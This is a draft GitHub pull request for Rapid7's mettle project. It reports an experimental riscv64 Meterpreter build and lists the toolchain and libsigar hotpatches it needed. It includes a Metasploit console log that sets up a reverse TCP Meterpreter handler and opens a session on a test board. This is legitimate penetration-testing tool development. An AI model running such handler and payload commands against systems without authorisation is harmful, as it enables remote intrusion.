Skip to content

DO NOT LAND - Test to get riscv meterpreter builds - DO NOT LAND#297

Draft
bwatters-r7 wants to merge 1 commit into
rapid7:masterfrom
bwatters-r7:feature/add-riscv
Draft

DO NOT LAND - Test to get riscv meterpreter builds - DO NOT LAND#297
bwatters-r7 wants to merge 1 commit into
rapid7:masterfrom
bwatters-r7:feature/add-riscv

Conversation

@bwatters-r7

@bwatters-r7 bwatters-r7 commented Jul 18, 2026

Copy link
Copy Markdown
Contributor

DO NOT LAND THIS!

As a lark, I wanted to see what would be required to get mettle built for riscv64. It turns out it is possible, but we will need to make some changes to things outside this repo. I've patched things here that have no business being patched in this repo.

There are two things I've hotpatched in here that should not be in here:

  1. We point to a musl build chain in AWS. I think R7 controls the AWS bucket, but it is from 2017 and does not support riscv, so we should update that. A good first might be to verify that the new Bootlin toolchain I'm using for riscv is not terrible and works with all the existing arches, then we can look to update the version that R7 hosts. Worst case, we can look to host a second version that works with riscv. To that point, the version that builds riscv seems to have an odd bug in the libpcap build code, so we might need to pr a patch for that or replicate the hotpatch here across all the arches.
  2. We point to the libsigar release forked into @busterb's repo. That version does not support riscv, but I don't think any of the upstream ones do, either? This PR includes a very minor patch to the libsigar library, but we should put up a PR to the @busterb libsigar instead of patching it here. He's a cool dude, I bet he'd be OK with it.

Here it is working on a stageless reverse_tcp:

msf exploit(multi/handler) > set payload linux/x64/meterpreter_reverse_tcp 
payload => linux/x64/meterpreter_reverse_tcp
msf exploit(multi/handler) > set lport 4567
lport => 4567
msf exploit(multi/handler) > set lhost 10.5.135.210
lhost => 10.5.135.210
msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.5.135.210:4567 
[*] Meterpreter session 1 opened (10.5.135.210:4567 -> 10.5.132.225:50326) at 2026-07-17 18:20:29 -0500

meterpreter > sysinfo
Computer     : bananapif3
OS           : Ubuntu 24.04 (Linux 6.6.100-legacy-spacemit)
Architecture : riscv64
BuildTuple   : riscv64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: msfuser
meterpreter > exit
[*] Shutting down session: 1

[*] 10.5.132.225 - Meterpreter session 1 closed.  Reason: User exit

Things I did not test:
I did not test a staged payload because we don't have a riscv meterpreter stager in framework yet.

I 100% used Claude to help out on this- It took a couple tries before I found a musl build set that worked, and I absolutely offloaded that, plus tracking down the build bug in libpcap was not fun even with Claude's help.

I'm tossing this up as proof riscv is possible, but we do have some work ahead of us.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

Status: Todo

Development

Successfully merging this pull request may close these issues.

1 participant